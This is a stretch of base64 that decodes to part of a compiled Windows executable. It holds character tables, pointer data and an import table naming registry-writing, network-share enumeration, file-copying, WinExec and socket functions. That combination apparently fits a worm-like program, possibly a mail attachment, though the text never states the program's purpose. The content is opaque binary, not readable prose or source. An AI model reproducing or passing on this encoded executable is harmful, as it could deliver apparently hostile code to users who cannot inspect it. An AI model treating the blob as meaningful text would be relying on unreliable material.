vQD9/3wBwADBAMIA/f/EAAoBCAHHAMgAyQDKAMsAzADNAM4AzwD9/9EA0gDTANQAIAHWANcA
HAHZANoA2wDcAGwBXAHfAOAA4QDiAP3/5AALAQkB5wDoAOkA6gDrAOwA7QDuAO8A/f/xAPIA
8wD0ACEB9gD3AB0B+QD6APsA/ABtAV0B2QKAAIEAggCDAIQAhQCGAIcAiACJAIoAiwCMAI0A
jgCPAJAAkQCSAJMAlACVAJYAlwCYAJkAmgCbAJwAnQCeAJ8AoAAEATgBVgGkACgBOwGnAKgA
YAESASIBZgGtAH0BrwCwAAUB2wJXAbQAKQE8AccCuABhARMBIwFnAUoBfgFLAQABwQDCAMMA
xADFAMYALgEMAckAGAHLABYBzQDOACoBEAFFAUwBNgHUANUA1gDXANgAcgHaANsA3ABoAWoB
3wABAeEA4gDjAOQA5QDmAC8BDQHpABkB6wAXAe0A7gArAREBRgFNATcB9AD1APYA9wD4AHMB
+gD7APwAaQFrAdkCgACBAIIAgwCEAIUAhgCHAIgAiQCKAIsAjACNAI4AjwCQAJEAkgCTAJQA
lQCWAJcAmACZAJoAmwCcAJ0AngCfAKAAAQQCBAMEBAQFBAYEBwQIBAkECgQLBAwErQAOBA8E
EAQRBBIEEwQUBBUEFgQXBBgEGQQaBBsEHAQdBB4EHwQgBCEEIgQjBCQEJQQmBCcEKAQpBCoE
KwQsBC0ELgQvBDAEMQQyBDMENAQ1BDYENwQ4BDkEOgQ7BDwEPQQ+BD8EQARBBEIEQwREBEUE
RgRHBEgESQRKBEsETARNBE4ETwQWIVEEUgRTBFQEVQRWBFcEWARZBFoEWwRcBKcAXgRfBIAA
gQCCAIMAhACFAIYAhwCIAIkAigCLAIwAjQCOAI8AkACRAJIAkwCUAJUAlgCXAJgAmQCaAJsA
nACdAJ4AnwCgAP3//f/9/6QA/f/9//3//f/9//3//f8MBq0A/f/9//3//f/9//3//f/9//3/
/f/9//3//f8bBv3//f/9/x8G/f8hBiIGIwYkBiUGJgYnBigGKQYqBisGLAYtBi4GLwYwBjEG
MgYzBjQGNQY2BjcGOAY5BjoG/f/9//3//f/9/0AGQQZCBkMGRAZFBkYGRwZIBkkGSgZLBkwG
TQZOBk8GUAZRBlIG/f/9//3//f/9//3//f/9//3//f/9//3//f+AAIEAggCDAIQAhQCGAIcA
iACJAIoAiwCMAI0AjgCPAJAAkQCSAJMAlACVAJYAlwCYAJkAmgCbAJwAnQCeAJ8AoAAYIBkg
owD9//3/pgCnAKgAqQD9/6sArACtAP3/FSCwALEAsgCzAIQDhQOGA7cAiAOJA4oDuwCMA70A
jgOPA5ADkQOSA5MDlAOVA5YDlwOYA5kDmgObA5wDnQOeA58DoAOhA/3/owOkA6UDpgOnA6gD
qQOqA6sDrAOtA64DrwOwA7EDsgOzA7QDtQO2A7cDuAO5A7oDuwO8A70DvgO/A8ADwQPCA8MD
xAPFA8YDxwPIA8kDygPLA8wDzQPOA/3/gACBAIIAgwCEAIUAhgCHAIgAiQCKAIsAjACNAI4A
jwCQAJEAkgCTAJQAlQCWAJcAmACZAJoAmwCcAJ0AngCfAKAA/f+iAKMApAClAKYApwCoAKkA
1wCrAKwArQCuAK8AsACxALIAswC0ALUAtgC3ALgAuQD3ALsAvAC9AL4A/f/9//3//f/9//3/
/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/xcg
0AXRBdIF0wXUBdUF1gXXBdgF2QXaBdsF3AXdBd4F3wXgBeEF4gXjBeQF5QXmBecF6AXpBeoF
/f/9/w4gDyD9/4AAgQCCAIMAhACFAIYAhwCIAIkAigCLAIwAjQCOAI8AkACRAJIAkwCUAJUA
lgCXAJgAmQCaAJsAnACdAJ4AnwCgAAQB2AJBAaQAPQFaAacAqABgAV4BZAF5Aa0AfQF7AbAA
BQHbAkIBtAA+AVsBxwK4AGEBXwFlAXoB3QJ+AXwBVAHBAMIAAgHEADkBBgHHAAwByQAYAcsA
GgHNAM4ADgEeAdEA0gDTANQA1QDWANcA2ADZANoA2wDcADABXgHfAOAA4QDiAOMA5ADlAOYA
5wDoAOkA6gDrAOwA7QDuAO8AHwHxAPIA8wD0APUA9gD3APgA+QD6APsA/AAxAV8B/wCAAIEA
ggCDAIQAhQCGAIcAiACJAIoAiwCMAI0AjgCPAJAAkQCSAJMAlACVAJYAlwCYAJkAmgCbAJwA
nQCeAJ8AoAAEARIBIgEqASgBNgGnADsBEAFgAWYBfQGtAGoBSgGwAAUBEwEjASsBKQE3AbcA
PAERAWEBZwF+ARUgawFLAQABwQDCAMMAxADFAMYALgEMAckAGAHLABYBzQDOAM8A0ABFAUwB
0wDUANUA1gBoAdgAcgHaANsA3ADdAN4A3wABAeEA4gDjAOQA5QDmAC8BDQHpABkB6wAXAe0A
7gDvAPAARgFNAfMA9AD1APYAaQH4AHMB+gD7APwA/QD+ADgBrCD9/xog/f8eICYgICAhIP3/
MCBgATkgWgFkAX0BeQH9/xggGSAcIB0gIiATIBQg/f8iIWEBOiBbAWUBfgF6AaAAxwLYAkEB
pAAEAaYApwCoAKkAXgGrAKwArQCuAHsBsACxANsCQgG0ALUAtgC3ALgABQFfAbsAPQHdAj4B
fAFUAcEAwgACAcQAOQEGAccADAHJABgBywAaAc0AzgAOARABQwFHAdMA1ABQAdYA1wBYAW4B
2gBwAdwA3QBiAd8AVQHhAOIAAwHkADoBBwHnAA0B6QAZAesAGwHtAO4ADwERAUQBSAHzAPQA
UQH2APcAWQFvAfoAcQH8AP0AYwHZAgIEAwQaIFMEHiAmICAgISCsIDAgCQQ5IAoEDAQLBA8E
UgQYIBkgHCAdICIgEyAUIP3/IiFZBDogWgRcBFsEXwSgAA4EXgQIBKQAkASmAKcAAQSpAAQE
qwCsAK0ArgAHBLAAsQAGBFYEkQS1ALYAtwBRBBYhVAS7AFgEBQRVBFcEEAQRBBIEEwQUBBUE
FgQXBBgEGQQaBBsEHAQdBB4EHwQgBCEEIgQjBCQEJQQmBCcEKAQpBCoEKwQsBC0ELgQvBDAE
MQQyBDMENAQ1BDYENwQ4BDkEOgQ7BDwEPQQ+BD8EQARBBEIEQwREBEUERgRHBEgESQRKBEsE
TARNBE4ETwSsIP3/GiCSAR4gJiAgICEgxgIwIGABOSBSAf3/fQH9//3/GCAZIBwgHSAiIBMg
FCDcAiIhYQE6IFMB/f9+AXgBoAChAKIAowCkAKUApgCnAKgAqQCqAKsArACtAK4ArwCwALEA
sgCzALQAtQC2ALcAuAC5ALoAuwC8AL0AvgC/AMAAwQDCAMMAxADFAMYAxwDIAMkAygDLAMwA
zQDOAM8A0ADRANIA0wDUANUA1gDXANgA2QDaANsA3ADdAN4A3wDgAOEA4gDjAOQA5QDmAOcA
6ADpAOoA6wDsAO0A7gDvAPAA8QDyAPMA9AD1APYA9wD4APkA+gD7APwA/QD+AP8ArCD9/xog
kgEeICYgICAhIP3/MCD9/zkg/f/9//3//f/9/xggGSAcIB0gIiATIBQg/f8iIf3/OiD9//3/
/f/9/6AAhQOGA6MApAClAKYApwCoAKkA/f+rAKwArQCuABUgsACxALIAswCEA7UAtgC3AIgD
iQOKA7sAjAO9AI4DjwOQA5EDkgOTA5QDlQOWA5cDmAOZA5oDmwOcA50DngOfA6ADoQP9/6MD
pAOlA6YDpwOoA6kDqgOrA6wDrQOuA68DsAOxA7IDswO0A7UDtgO3A7gDuQO6A7sDvAO9A74D
vwPAA8EDwgPDA8QDxQPGA8cDyAPJA8oDywPMA80DzgP9/6wg/f8aIJIBHiAmICAgISDGAjAg
YAE5IFIB/f/9//3//f8YIBkgHCAdICIgEyAUINwCIiFhATogUwH9//3/eAGgAKEAogCjAKQA
pQCmAKcAqACpAKoAqwCsAK0ArgCvALAAsQCyALMAtAC1ALYAtwC4ALkAugC7ALwAvQC+AL8A
wADBAMIAwwDEAMUAxgDHAMgAyQDKAMsAzADNAM4AzwAeAdEA0gDTANQA1QDWANcA2ADZANoA
2wDcADABXgHfAOAA4QDiAOMA5ADlAOYA5wDoAOkA6gDrAOwA7QDuAO8AHwHxAPIA8wD0APUA
9gD3APgA+QD6APsA/AAxAV8B/wCsIP3/GiCSAR4gJiAgICEgxgIwIP3/OSD9//3//f/9//3/
GCAZIBwgHSAiIBMgFCDcAiIh/f86IP3//f/9//3/oAChAKIAowCqIKUApgCnAKgAqQDXAKsA
rACtAK4ArwCwALEAsgCzALQAtQC2ALcAuAC5APcAuwC8AL0AvgC/ALAFsQWyBbMFtAW1BbYF
twW4BbkF/f+7BbwFvQW+Bb8FwAXBBcIFwwXwBfEF8gXzBfQF/f/9//3//f/9//3//f/QBdEF
0gXTBdQF1QXWBdcF2AXZBdoF2wXcBd0F3gXfBeAF4QXiBeMF5AXlBeYF5wXoBekF6gX9//3/
DiAPIP3/rCB+BhogkgEeICYgICAhIMYCMCB5BjkgUgGGBpgGiAavBhggGSAcIB0gIiATIBQg
qQYiIZEGOiBTAQwgDSC6BqAADAaiAKMApAClAKYApwCoAKkAvgarAKwArQCuAK8AsACxALIA
swC0ALUAtgC3ALgAuQAbBrsAvAC9AL4AHwbBBiEGIgYjBiQGJQYmBicGKAYpBioGKwYsBi0G
LgYvBjAGMQYyBjMGNAY1BjYG1wA3BjgGOQY6BkAGQQZCBkMG4ABEBuIARQZGBkcGSAbnAOgA
6QDqAOsASQZKBu4A7wBLBkwGTQZOBvQATwZQBvcAUQb5AFIG+wD8AA4gDyDSBqwg/f8aIP3/
HiAmICAgISD9/zAg/f85IP3/qADHArgA/f8YIBkgHCAdICIgEyAUIP3/IiH9/zog/f+vANsC
/f+gAP3/ogCjAKQA/f+mAKcA2ACpAFYBqwCsAK0ArgDGALAAsQCyALMAtAC1ALYAtwD4ALkA
VwG7ALwAvQC+AOYABAEuAQABBgHEAMUAGAESAQwByQB5ARYBIgE2ASoBOwFgAUMBRQHTAEwB
1QDWANcAcgFBAVoBagHcAHsBfQHfAAUBLwEBAQcB5ADlABkBEwENAekAegEXASMBNwErATwB
YQFEAUYB8wBNAfUA9gD3AHMBQgFbAWsB/AB8AX4B2QKsIP3/GiCSAR4gJiAgICEgxgIwIP3/
OSBSAf3//f/9//3/GCAZIBwgHSAiIBMgFCDcAiIh/f86IFMB/f/9/3gBoAChAKIAowCkAKUA
pgCnAKgAqQCqAKsArACtAK4ArwCwALEAsgCzALQAtQC2ALcAuAC5ALoAuwC8AL0AvgC/AMAA
wQDCAAIBxADFAMYAxwDIAMkAygDLAAADzQDOAM8AEAHRAAkD0wDUAKAB1gDXANgA2QDaANsA
3ACvAQMD3wDgAOEA4gADAeQA5QDmAOcA6ADpAOoA6wABA+0A7gDvABEB8QAjA/MA9AChAfYA
9wD4APkA+gD7APwAsAGrIP8AACUCJQwlECUUJRglHCUkJSwlNCU8JYAlhCWIJYwlkCWRJZIl
kyUgI6AlGSIaIkgiZCJlIqAAISOwALIAtwD3AFAlUSVSJVEEUyVUJVUlViVXJVglWSVaJVsl
XCVdJV4lXyVgJWElAQRiJWMlZCVlJWYlZyVoJWklaiVrJWwlqQBOBDAEMQRGBDQENQREBDME
RQQ4BDkEOgQ7BDwEPQQ+BD8ETwRABEEEQgRDBDYEMgRMBEsENwRIBE0ESQRHBEoELgQQBBEE
JgQUBBUEJAQTBCUEGAQZBBoEGwQcBB0EHgQfBC8EIAQhBCIEIwQWBBIELAQrBBcEKAQtBCkE
JwQqBAAAAAAE0wD8AQAAuAAAAAAAAAAAAAAAAAAAAAAAAAAANBBBAEAQQQBMEEEAWBBBAGQQ
QQBwEEEAfBBBAIgQQQCUEEEAoBBBAKwQQQC4EEEAxBBBANAQQQDcEEEA6BBBAPQQQQAAEUEA
DBFBAOQWQQDwFkEABBdBABQXQQAgF0EAFBdBADAXQQAgF0EAMBdBAEAXQQAgF0EAMBdBAEwX
QQBcF0EATBdBAGwXQQBcF0EATBdBAHgXQQDwFkEAeBdBAIQXQQAgF0EAhBdBAJAXQQDwFkEA
nBdBALAXQQBcF0EAvBdBANAXQQDwFkEA3BdBAOwXQQDwFkEA+BdBABAYQQDwFkEA+BdBABwY
QQDwFkEA+BdBACgYQQDwFkEA+BdBADQYQQDwFkEA+BdBAAAAAAAAAAAAAAABDU1TIFNhbnMg
U2VyaWYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOw3QQCAAAAA/DdBAACAAAAQOEEAgIAAACA4
QQAAAIAAMDhBAIAAgABAOEEAAICAAFQ4QQCAgIAAZDhBAMDAwAB0OEEA/wAAAIg4QQAA/wAA
mDhBAP//AACoOEEAAAD/ALw4QQD/AP8AzDhBAAD//wDgOEEA////APA4QQAAAACAADlBAAEA
AIAUOUEAAgAAgCw5QQADAACARDlBAAQAAIBgOUEABQAAgHA5QQAGAACAhDlBAAcAAICcOUEA
CAAAgLA5QQAJAACAyDlBAAoAAIDgOUEACwAAgPg5QQAMAACAFDpBAA0AAIAsOkEADgAAgEA6
QQAPAACAWDpBABAAAIBsOkEAEQAAgIA6QQASAACAlDpBABMAAICoOkEAFAAAgMg6QQAVAACA
4DpBABYAAID4OkEAFwAAgAw7QQAYAACAIDtBAP///x80O0EAAAAAAHQ7QQABAAAAjDtBAAIA
AACkO0EATQAAALw7QQCAAAAA0DtBAIEAAADsO0EAggAAAAQ8QQCGAAAAHDxBAIgAAAA0PEEA
oQAAAFA8QQCiAAAAaDxBALEAAACAPEEAsgAAAJg8QQC6AAAAsDxBAMwAAADIPEEA3gAAAOA8
QQDuAAAA+DxBAP8AAAAUPUEAAAABAAIAAwAEAAUABgCLwAEAEAALAAYADQAEAA4ABQAMAAMA
DwACAAkACAAHAAoAAAAAAAAAAAAAAAAAAAAAAIAAAAAAgAAAgIAAAAAAgACAAIAAAICAAICA
gADAwMAA/wAAAAD/AAD//wAAAAD/AP8A/wAA//8A////AHRgQADkX0AAJF9AAMRgQAAEYUAA
bGFAAJRgQABMtEAAGOBBABRgQAB8YUAABOBBAFRhQABMYEAAfGBAADy0QAA8X0AAXGFAADxh
QABkYUAAEOBBAAxfQAC8X0AABF9AAJxgQABEX0AAxF9AADxgQAAUtEAANLRAAOxgQAAU4kEA
DGFAAHDlQQAEYEAAVGBAACS0QAAI4EEALLRAAMxgQAAA4EEADOBBABDlQQBEtEAAFGFAAJxf
QACkX0AAVLRAAExhQAAUX0AAXF9AAMxfQABstEAA/F9AALxgQAAMtEAABLRAACRgQADEs0AA
5GBAANxfQAD0XkAA1GBAAPRgQADks0AAXLRAANRfQABkYEAApGBAADRhQAD8s0AANF9AAHRf
QADcYEAAhF9AAERhQAB8X0AAHLRAABxhQAAU4EEALGBAAPRfQAAA10EAdGFAAPxeQAAsX0AA
HGBAAPxgQAAkYUAAQOBBACxhQAAMYEAA9LNAAERgQADMs0AAQuBBAATAQQDUs0AAjGBAADRg
QACsYEAAhGFAAGxgQACUX0AA3LNAABxfQACsX0AAVF9AAExfQAC0YEAA7LNAAGRfQABcYEAA
tF9AAIxfQABsX0AAqOVBAOxfQACEYEAAZLRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQ9AEAGPEBAAAAAAAAAAAAAAAAABz3AQDA8QEA
AAAAAAAAAAAAAAAAYvcBANTxAQAAAAAAAAAAAAAAAACi9wEA5PEBAAAAAAAAAAAAAAAAADL4
AQAE8gEAAAAAAAAAAAAAAAAAlPgBABzyAQAAAAAAAAAAAAAAAAAW+QEAPPIBAAAAAAAAAAAA
AAAAALr9AQBE8wEAAAAAAAAAAAAAAAAA5v0BAFDzAQAAAAAAAAAAAAAAAADQ/wEAxPMBAAAA
AAAAAAAAAAAAAIIAAgD48wEAAAAAAAAAAAAAAAAAngACAAD0AQAAAAAAAAAAAAAAAACGAQIA
SPQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAXvQBAHT0AQCM9AEApPQBALz0AQDY9AEA5vQBAPb0
AQAC9QEAEPUBACD1AQA29QEATPUBAFj1AQBk9QEAcPUBAIL1AQCU9QEApvUBALj1AQDM9QEA
4vUBAPT1AQAE9gEAFvYBACT2AQA29gEAQvYBAFD2AQBc9gEAePYBAIr2AQCa9gEApvYBALL2
AQDE9gEA1PYBAOL2AQDy9gEAAPcBAA73AQAAAAAAKPcBADr3AQBI9wEAVvcBAAAAAABw9wEA
hPcBAJT3AQAAAAAAsPcBAMb3AQDY9wEA6PcBAPj3AQAI+AEAHvgBAAAAAABA+AEATvgBAFz4
AQBq+AEAfvgBAAAAAACi+AEAtPgBAMj4AQDY+AEA5vgBAPj4AQAG+QEAAAAAACT5AQAw+QEA
OvkBAFD5AQBg+QEAdPkBAHz5AQCQ+QEApPkBALb5AQDM+QEA3PkBAPD5AQD8+QEABvoBABb6
AQAu+gEASvoBAFr6AQBq+gEAevoBAIj6AQCW+gEAqPoBALz6AQDK+gEA3PoBAPT6AQAE+wEA
HPsBADb7AQBI+wEAWPsBAG77AQCC+wEAlPsBAKj7AQC++wEA0PsBAOD7AQDw+wEABPwBABb8
AQAs/AEAQPwBAFb8AQBq/AEAgvwBAJb8AQCi/AEArPwBAL78AQDO/AEA4PwBAOz8AQAG/QEA
Hv0BADL9AQBK/QEAWP0BAHD9AQB+/QEAjv0BAJr9AQCs/QEAAAAAAML9AQDS/QEAAAAAAPD9
AQAC/gEAEP4BACD+AQAq/gEANv4BAET+AQBU/gEAZP4BAHb+AQCC/gEAlP4BAK7+AQDA/gEA
zv4BAN7+AQDq/gEAAv8BABL/AQAi/wEALv8BAEL/AQBS/wEAaP8BAHr/AQCQ/wEAqv8BAMD/
AQAAAAAA3P8BAOj/AQD2/wEABAACABAAAgAkAAIAMgACAEAAAgBIAAIAVgACAGYAAgB0AAIA
AAAAAI4AAgAAAAAAqgACALgAAgDKAAIA2AACAOgAAgD8AAIADAECABYBAgAeAQIAKAECADAB
AgA+AQIASgECAFIBAgBgAQIAbgECAHgBAgAAAAAAkgECAAAAAABrZXJuZWwzMi5kbGwAAAAA
R2V0Q3VycmVudFRocmVhZElkAAAAAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgAAAExlYXZlQ3Jp
dGljYWxTZWN0aW9uAAAAAEVudGVyQ3JpdGljYWxTZWN0aW9uAAAAAEluaXRpYWxpemVDcml0
aWNhbFNlY3Rpb24AAABWaXJ0dWFsRnJlZQAAAFZpcnR1YWxBbGxvYwAAAABMb2NhbEZyZWUA
AABMb2NhbEFsbG9jAAAAAFZpcnR1YWxRdWVyeQAAAABXaWRlQ2hhclRvTXVsdGlCeXRlAAAA
TXVsdGlCeXRlVG9XaWRlQ2hhcgAAAGxzdHJsZW5BAAAAAGxzdHJjcHluQQAAAGxzdHJjcHlB
AAAAAExvYWRMaWJyYXJ5RXhBAAAAAEdldFRocmVhZExvY2FsZQAAAEdldFN0YXJ0dXBJbmZv
QQAAAEdldFByb2NBZGRyZXNzAAAAAEdldE1vZHVsZUhhbmRsZUEAAAAAR2V0TW9kdWxlRmls
ZU5hbWVBAAAAAEdldExvY2FsZUluZm9BAAAAAEdldExhc3RFcnJvcgAAAABHZXRDb21tYW5k
TGluZUEAAABGcmVlTGlicmFyeQAAAEZpbmRGaXJzdEZpbGVBAAAAAEZpbmRDbG9zZQAAAEV4
aXRQcm9jZXNzAAAAV3JpdGVGaWxlAAAAVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAAAAFNl
dEZpbGVQb2ludGVyAAAAAFNldEVuZE9mRmlsZQAAAABSdGxVbndpbmQAAABSZWFkRmlsZQAA
AABSYWlzZUV4Y2VwdGlvbgAAAABHZXRTdGRIYW5kbGUAAAAAR2V0RmlsZVNpemUAAABHZXRT
eXN0ZW1UaW1lAAAAR2V0RmlsZVR5cGUAAABDcmVhdGVGaWxlQQAAAENsb3NlSGFuZGxlAHVz
ZXIzMi5kbGwAAAAAR2V0S2V5Ym9hcmRUeXBlAAAATG9hZFN0cmluZ0EAAABNZXNzYWdlQm94
QQAAAENoYXJOZXh0QQBhZHZhcGkzMi5kbGwAAAAAUmVnUXVlcnlWYWx1ZUV4QQAAAABSZWdP
cGVuS2V5RXhBAAAAUmVnQ2xvc2VLZXkAb2xlYXV0MzIuZGxsAAAAAFZhcmlhbnRDaGFuZ2VU
eXBlRXgAAABWYXJpYW50Q29weUluZAAAAABWYXJpYW50Q2xlYXIAAAAAU3lzU3RyaW5nTGVu
AAAAAFN5c0ZyZWVTdHJpbmcAAABTeXNSZUFsbG9jU3RyaW5nTGVuAAAAU3lzQWxsb2NTdHJp
bmdMZW4Aa2VybmVsMzIuZGxsAAAAAFRsc1NldFZhbHVlAAAAVGxzR2V0VmFsdWUAAABMb2Nh
bEFsbG9jAAAAAEdldE1vZHVsZUhhbmRsZUEAAAAAR2V0TW9kdWxlRmlsZU5hbWVBAABhZHZh
cGkzMi5kbGwAAAAAUmVnU2V0VmFsdWVFeEEAAAAAUmVnUXVlcnlWYWx1ZUV4QQAAAABSZWdP
cGVuS2V5RXhBAAAAUmVnRmx1c2hLZXkAAABSZWdDcmVhdGVLZXlFeEEAAABSZWdDbG9zZUtl
eQAAAEdldFVzZXJOYW1lQQAAa2VybmVsMzIuZGxsAAAAAFdyaXRlRmlsZQAAAFdpbkV4ZWMA
AABXYWl0Rm9yU2luZ2xlT2JqZWN0AAAAVmlydHVhbFF1ZXJ5AAAAAFZlckxhbmd1YWdlTmFt
ZUEAAAAAU2xlZXAAAABTZXRUaHJlYWRQcmlvcml0eQAAAFNldFByaW9yaXR5Q2xhc3MAAAAA
U2V0RmlsZVBvaW50ZXIAAAAAU2V0RmlsZUF0dHJpYnV0ZXNBAAAAAFNldEVuZE9mRmlsZQAA
AABSZW1vdmVEaXJlY3RvcnlBAAAAAFJlYWRGaWxlAAAAAE11bERpdgAAAABMb2FkTGlicmFy
eUEAAAAATGVhdmVDcml0aWNhbFNlY3Rpb24AAAAASW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlv
bgAAAEdsb2JhbFVubG9jawAAAABHbG9iYWxSZUFsbG9jAAAAR2xvYmFsSGFuZGxlAAAAAEds
b2JhbExvY2sAAAAAR2xvYmFsRnJlZQAAAABHbG9iYWxGaW5kQXRvbUEAAABHbG9iYWxEZWxl
dGVBdG9tAAAAAEdsb2JhbEFsbG9jAAAAR2xvYmFsQWRkQXRvbUEAAAAAR2V0V2luZG93c0Rp
cmVjdG9yeUEAAAAAR2V0VmVyc2lvbkV4QQAAAEdldFVzZXJEZWZhdWx0TGFuZ0lEAAAAAEdl
dFRpbWVab25lSW5mb3JtYXRpb24AAAAAR2V0VGhyZWFkTG9jYWxlAAAAR2V0VGVtcFBhdGhB
AAAAAEdldFN5c3RlbURpcmVjdG9yeUEAAABHZXRTaG9ydFBhdGhOYW1lQQAAAEdldFByb2NB
ZGRyZXNzAAAAAEdldE1vZHVsZUhhbmRsZUEAAAAAR2V0TW9kdWxlRmlsZU5hbWVBAAAAAEdl
dExvY2FsZUluZm9BAAAAAEdldExvY2FsVGltZQAAAABHZXRMYXN0RXJyb3IAAAAAR2V0RGlz
a0ZyZWVTcGFjZUEAAABHZXREYXRlRm9ybWF0QQAAAABHZXRDdXJyZW50VGhyZWFkSWQAAAAA
R2V0Q3VycmVudFRocmVhZAAAAABHZXRDdXJyZW50UHJvY2Vzc0lkAAAAR2V0Q3VycmVudFBy
b2Nlc3MAAABHZXRDdXJyZW50RGlyZWN0b3J5QQAAAABHZXRDb21wdXRlck5hbWVBAAAAAEdl
dENQSW5mbwAAAEdldEFDUAAAAABGb3JtYXRNZXNzYWdlQQAAAABGaW5kTmV4dEZpbGVBAAAA
RmluZEZpcnN0RmlsZUEAAAAARmluZENsb3NlAAAARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUA
AABGaWxlVGltZVRvRG9zRGF0ZVRpbWUAAABFbnVtQ2FsZW5kYXJJbmZvQQAAAEVudGVyQ3Jp
dGljYWxTZWN0aW9uAAAAAERlbGV0ZUZpbGVBAAAARGVsZXRlQ3JpdGljYWxTZWN0aW9uAAAA
Q3JlYXRlRmlsZUEAAABDcmVhdGVFdmVudEEAAAAAQ29weUZpbGVBAAAAQ29tcGFyZVN0cmlu
Z0EAAAAAQ2xvc2VIYW5kbGUAbXByLmRsbAAAAFdOZXRPcGVuRW51bUEAAABXTmV0RW51bVJl
c291cmNlQQBnZGkzMi5kbGwAAABVbnJlYWxpemVPYmplY3QAAABTdHJldGNoQmx0AAAAAFNl
dFRleHRDb2xvcgAAAABTZXRST1AyAAAAU2V0QmtNb2RlAAAAU2V0QmtDb2xvcgAAAABTZWxl
Y3RQYWxldHRlAAAAU2VsZWN0T2JqZWN0AAAAAFJlYWxpemVQYWxldHRlAAAAAE1vdmVUb0V4
AAAAAEdldFRleHRNZXRyaWNzQQAAAEdldFN5c3RlbVBhbGV0dGVFbnRyaWVzAAAAR2V0U3Rv
Y2tPYmplY3QAAAAAR2V0T2JqZWN0QQAAAABHZXREZXZpY2VDYXBzAAAAR2V0RElCaXRzAAAA
R2V0Q3VycmVudFBvc2l0aW9uRXgAAAAAR2V0Qml0bWFwQml0cwAAAERlbGV0ZU9iamVjdAAA
AABEZWxldGVEQwAAAABDcmVhdGVQZW5JbmRpcmVjdAAAAENyZWF0ZVBhbGV0dGUAAABDcmVh
dGVGb250SW5kaXJlY3RBAAAAQ3JlYXRlRElCaXRtYXAAAAAAQ3JlYXRlQ29tcGF0aWJsZURD
AAAAAENyZWF0ZUNvbXBhdGlibGVCaXRtYXAAAAAAQ3JlYXRlQnJ1c2hJbmRpcmVjdAAAAENy
ZWF0ZUJpdG1hcAAAdXNlcjMyLmRsbAAAAABSZWxlYXNlREMAAABNZXNzYWdlQm94QQAAAExv
YWRTdHJpbmdBAAAATG9hZEljb25BAAAAR2V0U3lzdGVtTWV0cmljcwAAAABHZXRTeXNDb2xv
cgAAAEdldEljb25JbmZvAAAAR2V0REMAAABEcmF3SWNvbkV4AAAAAERlc3Ryb3lXaW5kb3cA
AABEZXN0cm95SWNvbgAAAENyZWF0ZUljb24AAHNoZWxsMzIuZGxsAAAARXh0cmFjdEljb25B
AAB3c29jazMyLmRsbAAAAFdTQVN0YXJ0dXAAAAAAV1NBR2V0TGFzdEVycm9yAAAAZ2V0aG9z
dG5hbWUAAABnZXRzZXJ2YnluYW1lAAAAZ2V0cHJvdG9ieW51bWJlcgAAAABnZXRob3N0Ynlu
YW1lAAAAc29ja2V0AAAAAHNlbmQAAAAAc2VsZWN0AAAAAHJlY3YAAAAAaW9jdGxzb2NrZXQA
AABpbmV0X2FkZHIAAABodG9ucwAAAGdldHNvY2tuYW1lAAAAZ2V0cGVlcm5hbWUAAABjb25u
ZWN0AAAAY2xvc2Vzb2NrZXQAd2luaW5ldC5kbGwAAABJbnRlcm5ldEdldENvbm5lY3RlZFN0
YXRlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEIADBBCAMzkQQAQIEIAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAQAABIAQAAADAMMCwwODA8MEAwRDBIMEwwUDBUMGAwbTCAMK4wtjC+MMYwzjDWMN4w
5jDuMPYw/jAGMQ4xFjEeMSYxLjE2MT4xRjFOMVYxXjFmMW4xdjF+MYYxjjGWMZ4xpjGuMbYx
vjHGMc4x1jHeMeYx7jH2Mf4xBjIOMjoyQjJKMlIyWjJiMmoycjJ7MpwypDIMMxMzWzTSNCE1
